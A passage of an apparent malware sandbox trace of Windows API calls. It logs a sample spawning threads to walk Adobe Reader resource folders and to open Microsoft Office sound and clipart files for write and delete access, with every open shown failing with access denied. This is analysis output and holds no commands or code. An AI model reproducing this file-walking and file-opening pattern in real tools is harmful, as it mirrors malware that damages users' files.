out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MyriadPro-Regular.otf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MyriadPro-Regular.otf" [0159.292] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x934528, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa28 [0159.293] FindNextFileW (in: hFindFile=0x8da090, lpFindFileData=0x967eb8 | out: lpFindFileData=0x967eb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f556b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f556b40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PFM", cAlternateFileName="")) returned 1 [0159.293] wcscmp (_String1="PFM", _String2=".") returned 1 [0159.293] wcscmp (_String1="PFM", _String2="..") returned 1 [0159.293] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x76) returned 0x99dd88 [0159.293] wcscpy (in: _Dest=0x99dd88, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" [0159.293] wcscat (in: _Dest=0x99dd88, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\" [0159.293] wcscat (in: _Dest=0x99dd88, _Source="PFM" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM" [0159.293] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x99dd88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x718 [0159.296] FindNextFileW (in: hFindFile=0x8da090, lpFindFileData=0x967eb8 | out: lpFindFileData=0x967eb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f57cca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8791, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY______.PFB", cAlternateFileName="")) returned 1 [0159.296] wcscmp (_String1="SY______.PFB", _String2=".") returned 1 [0159.296] wcscmp (_String1="SY______.PFB", _String2="..") returned 1 [0159.297] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x88) returned 0x8e7838 [0159.297] wcscpy (in: _Dest=0x8e7838, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" [0159.297] wcscat (in: _Dest=0x8e7838, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\" [0159.297] wcscat (in: _Dest=0x8e7838, _Source="SY______.PFB" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\SY______.PFB") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\SY______.PFB" [0159.297] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7838, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x704 [0159.298] FindNextFileW (in: hFindFile=0x8da090, lpFindFileData=0x967eb8 | out: lpFindFileData=0x967eb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f57cca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12735, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZX______.PFB", cAlternateFileName="")) returned 1 [0159.298] wcscmp (_String1="ZX______.PFB", _String2=".") returned 1 [0159.298] wcscmp (_String1="ZX______.PFB", _String2="..") returned 1 [0159.298] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x88) returned 0x8e6998 [0159.298] wcscpy (in: _Dest=0x8e6998, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" [0159.298] wcscat (in: _Dest=0x8e6998, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\" [0159.298] wcscat (in: _Dest=0x8e6998, _Source="ZX______.PFB" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\ZX______.PFB") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\ZX______.PFB" [0159.298] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e6998, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa20 [0159.299] FindNextFileW (in: hFindFile=0x8da090, lpFindFileData=0x967eb8 | out: lpFindFileData=0x967eb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f57cca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x178a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZY______.PFB", cAlternateFileName="")) returned 1 [0159.299] wcscmp (_String1="ZY______.PFB", _String2=".") returned 1 [0159.299] wcscmp (_String1="ZY______.PFB", _String2="..") returned 1 [0159.299] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x88) returned 0x8e7328 [0159.299] wcscpy (in: _Dest=0x8e7328, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" [0159.299] wcscat (in: _Dest=0x8e7328, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\" [0159.300] wcscat (in: _Dest=0x8e7328, _Source="ZY______.PFB" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\ZY______.PFB") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\ZY______.PFB" [0159.300] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7328, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa1c [0159.301] FindNextFileW (in: hFindFile=0x8da090, lpFindFileData=0x967eb8 | out: lpFindFileData=0x967eb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f57cca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x178a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZY______.PFB", cAlternateFileName="")) returned 0 [0159.301] FindClose (in: hFindFile=0x8da090 | out: hFindFile=0x8da090) returned 1 [0159.302] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x967eb8) returned 1 [0159.302] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8cfd00) returned 1 [0159.302] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93c9e0) returned 1 Thread: id = 3546 os_tid = 0x85c [0153.977] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x80) returned 0x12c51160 [0153.978] wcscpy (in: _Dest=0x12c51160, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics" [0153.978] wcscat (in: _Dest=0x12c51160, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\" [0153.978] wcscat (in: _Dest=0x12c51160, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\*" [0153.978] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x92cbd8 [0153.978] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\*", lpFindFileData=0x92cbd8 | out: lpFindFileData=0x92cbd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dcf09c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dcf09c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da450 [0155.407] wcscmp (_String1=".", _String2=".") returned 0 [0155.407] FindNextFileW (in: hFindFile=0x8da450, lpFindFileData=0x92cbd8 | out: lpFindFileData=0x92cbd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dcf09c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dcf09c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.407] wcscmp (_String1="..", _String2=".") returned 1 [0155.407] wcscmp (_String1="..", _String2="..") returned 0 [0155.407] FindNextFileW (in: hFindFile=0x8da450, lpFindFileData=0x92cbd8 | out: lpFindFileData=0x92cbd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dcf09c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f472300, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LanguageNames2", cAlternateFileName="LANGUA~1")) returned 1 [0155.407] wcscmp (_String1="LanguageNames2", _String2=".") returned 1 [0155.407] wcscmp (_String1="LanguageNames2", _String2="..") returned 1 [0155.407] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9a) returned 0x9341e0 [0155.408] wcscpy (in: _Dest=0x9341e0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics" [0155.408] wcscat (in: _Dest=0x9341e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\" [0155.408] wcscat (in: _Dest=0x9341e0, _Source="LanguageNames2" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2" [0163.588] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x9341e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1814 [0163.589] FindNextFileW (in: hFindFile=0x8da450, lpFindFileData=0x92cbd8 | out: lpFindFileData=0x92cbd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cfb2f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cfb2f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Providers", cAlternateFileName="PROVID~1")) returned 1 [0163.589] wcscmp (_String1="Providers", _String2=".") returned 1 [0163.589] wcscmp (_String1="Providers", _String2="..") returned 1 [0163.589] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x90) returned 0x12c761f8 [0163.589] wcscpy (in: _Dest=0x12c761f8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics" [0163.589] wcscat (in: _Dest=0x12c761f8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\" [0163.589] wcscat (in: _Dest=0x12c761f8, _Source="Providers" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers" [0163.589] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x12c761f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x199c [0163.590] FindNextFileW (in: hFindFile=0x8da450, lpFindFileData=0x92cbd8 | out: lpFindFileData=0x92cbd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cfb2f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cfb2f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Providers", cAlternateFileName="PROVID~1")) returned 0 [0163.590] FindClose (in: hFindFile=0x8da450 | out: hFindFile=0x8da450) returned 1 [0163.590] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x92cbd8) returned 1 [0163.590] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c51160) returned 1 [0163.590] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c51270) returned 1 Thread: id = 3547 os_tid = 0x864 [0153.978] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7a) returned 0x12c510d8 [0153.978] wcscpy (in: _Dest=0x12c510d8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep" [0153.978] wcscat (in: _Dest=0x12c510d8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep\\" [0153.978] wcscat (in: _Dest=0x12c510d8, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep\\*" [0153.978] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x911888 [0153.978] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep\\*", lpFindFileData=0x911888 | out: lpFindFileData=0x911888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d5bd20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d5bd20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942930 [0155.900] wcscmp (_String1=".", _String2=".") returned 0 [0155.900] FindNextFileW (in: hFindFile=0x942930, lpFindFileData=0x911888 | out: lpFindFileData=0x911888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d5bd20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d5bd20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.900] wcscmp (_String1="..", _String2=".") returned 1 [0155.900] wcscmp (_String1="..", _String2="..") returned 0 [0155.900] FindNextFileW (in: hFindFile=0x942930, lpFindFileData=0x911888 | out: lpFindFileData=0x911888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x359c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaslPrepProfile_norm_bidi.spp", cAlternateFileName="SASLPR~1.SPP")) returned 1 [0155.900] wcscmp (_String1="SaslPrepProfile_norm_bidi.spp", _String2=".") returned 1 [0155.900] wcscmp (_String1="SaslPrepProfile_norm_bidi.spp", _String2="..") returned 1 [0155.900] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xb2) returned 0xd4c6080 [0155.900] wcscpy (in: _Dest=0xd4c6080, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep" [0155.900] wcscat (in: _Dest=0xd4c6080, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep\\" [0155.900] wcscat (in: _Dest=0xd4c6080, _Source="SaslPrepProfile_norm_bidi.spp" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep\\SaslPrepProfile_norm_bidi.spp") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep\\SaslPrepProfile_norm_bidi.spp" [0164.959] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4c6080, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1678 [0164.963] FindNextFileW (in: hFindFile=0x942930, lpFindFileData=0x911888 | out: lpFindFileData=0x911888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x359c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaslPrepProfile_norm_bidi.spp", cAlternateFileName="SASLPR~1.SPP")) returned 0 [0164.963] FindClose (in: hFindFile=0x942930 | out: hFindFile=0x942930) returned 1 [0164.963] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x911888) returned 1 [0164.963] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c510d8) returned 1 [0164.963] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8cfe80) returned 1 Thread: id = 3576 os_tid = 0x970 [0154.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\SNEEZE.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\sneeze.wav")) returned 0x20 [0154.277] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\SNEEZE.WAV", dwFileAttributes=0x20) returned 0 [0154.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\SNEEZE.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\sneeze.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0154.277] GetLastError () returned 0x5 [0154.277] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\SNEEZE.WAV", dwFileAttributes=0x20) returned 0 [0154.277] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ad708) returned 1 Thread: id = 3577 os_tid = 0x978 [0154.245] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\THROAT.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\throat.wav")) returned 0x20 [0154.253] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\THROAT.WAV", dwFileAttributes=0x20) returned 0 [0154.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\THROAT.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\throat.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0154.254] GetLastError () returned 0x5 [0154.254] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\THROAT.WAV", dwFileAttributes=0x20) returned 0 [0154.254] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9adc08) returned 1 Thread: id = 3578 os_tid = 0x984 [0154.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\Whistling.wav" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\whistling.wav")) returned 0x20 [0154.254] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\Whistling.wav", dwFileAttributes=0x20) returned 0 [0154.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\Whistling.wav" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\whistling.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0154.254] GetLastError () returned 0x5 [0154.254] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\Whistling.wav", dwFileAttributes=0x20) returned 0 [0154.255] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x933e98) returned 1 Thread: id = 3684 os_tid = 0xd8c [0154.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf")) returned 0x20 [0156.448] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF", dwFileAttributes=0x20) returned 0 [0156.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0156.449] GetLastError () returned 0x5 [0156.449] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF", dwFileAttributes=0x20) returned 0 [0156.449] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c51848) returned 1 Thread: id = 3685 os_tid = 0xd90 [0154.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf")) returned 0x20 [0156.473] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF", dwFileAttributes=0x20) returned 0 [0156.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0156.474] GetLastError () returned 0x5 [0156.474] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF", dwFileAttributes=0x20) returned 0 [0156.474] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f7e78) returned 1 Thread: id = 3686 os_tid = 0xd94 [0154.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf")) returned 0x20 [0156.447] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF", dwFileAttributes=0x20) returned 0 [0156.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0156.447] GetLastError () returned 0x5 [0156.447] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF", dwFileAttributes=0x20) returned 0 [0156.448] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f8890) returned 1 Thread: id = 3687 os_tid = 0xd98 [0154.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" 